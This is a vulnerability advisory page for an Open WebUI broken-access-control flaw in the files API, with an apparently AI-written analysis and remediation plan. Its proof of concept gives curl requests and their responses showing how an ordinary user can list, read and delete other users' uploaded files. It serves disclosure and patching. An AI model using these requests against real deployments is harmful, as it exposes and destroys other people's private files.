Open WebUI CVE-2026-45301
HIGHCVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Lifecycle Timeline
3DescriptionNVD
Summary
A missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform.
Details
All files/ related endpoints lack permission checks. #### Listing all files For example, let's see how file listing is implemented: https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L107-L110 https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/models/files.py#L26 Notice the endpoint depends only on an authenticated user check, no file filtering is done to match the uploaded files' user_id to the requesting user.
This problem repeats itself throughout the various route implementations, allowing any user to perform actions on any file. Some note worthy functions: #### Accessing the content of any file https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L173-L193 #### Deleting any file https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L224-L241
PoC
#### Configuration
- I ran a clean install of the latest version using one of the docker one-liners on an Ubuntu desktop:
docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollama
- I created an admin user
- I created a second user to act as the threat actor with no elevated permissions
- Admin user uploaded
test.txtin a conversation with model - Admin user uploaded
mydeepest_secret.docxin a conversation with model
#### Listing files uploaded by other users
- Login to threat actor
- Perform a GET request to
/api/v1/files/
curl -X 'GET' \
'http://localhost:3000/api/v1/files/' \
-H 'accept: application/json'[
{
"id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
"meta": {
"name": "test.txt",
"content_type": "text/plain",
"size": 4,
"path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
},
"created_at": 1724709202
},
{
"id": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx",
"meta": {
"name": "mydeepest_secret.docx",
"content_type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
"size": 6485,
"path": "/app/backend/data/uploads/8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx"
},
"created_at": 1724710236
}
]#### Accessing other users' file content
- Login to threat actor
- Perform a GET request to
/api/v1/files/{id}/content
curl -X 'GET' \
'http://localhost:3000/api/v1/files/b9733e9c-0714-4425-8915-d0361bf66dfc/content' \
-H 'accept: application/json'wow#### Deleting another user's uploaded file
- Login to threat actor
- Perform a DELETE request to
/api/v1/files/{id}
curl -X 'DELETE' \
'http://localhost:3000/api/v1/files/8f058e18-fec1-4b9f-bb4e-c17f39d03c98' \
-H 'accept: application/json'{
"message": "File deleted successfully"
}- We will verify this action by furthur listing all files as mentioned above:
[
{
"id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
"meta": {
"name": "test.txt",
"content_type": "text/plain",
"size": 4,
"path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
},
"created_at": 1724709202
}
]Impact
Having access to user uploaded files, regardless of ownership or permission level, breaks the confidentiality of sensitive data stored by users. Furthermore, the ability to delete other user's uploaded files disrupts the integrity of the system.
Personal Notice
In case this submission does get recognized and numbered as a CVE I'd perfer to be credited by my full name - Yuval Gal, instead of my GitHub handle.
Thanks in advance and have a good week (:
Credits
This vulnerability was reported by Yuval Gal (GitHub: @vi11ain).
AnalysisAI
Horizontal privilege escalation in Open WebUI versions through 0.3.15 allows any authenticated user to enumerate, read, and delete all files uploaded by all other users via missing authorization checks in the files API endpoints. The vulnerability requires only low-privilege authenticated access to the web interface and has publicly available exploit code with a detailed proof-of-concept demonstrating how attackers can list all uploaded files regardless of owner, retrieve file contents, and delete arbitrary user files. …
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RemediationAI
Within 24 hours: Identify all Open WebUI instances in your environment and document current version numbers; restrict file upload functionality to trusted administrator-only accounts pending remediation. Within 7 days: Contact Open WebUI vendor for patched version availability and estimated release timeline; implement network-level access controls limiting Open WebUI to essential users only; audit file access logs for unauthorized enumeration or deletion patterns. …
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External POC / Exploit Code
Leaving vuln.today
GHSA-r8wh-8m7r-fh33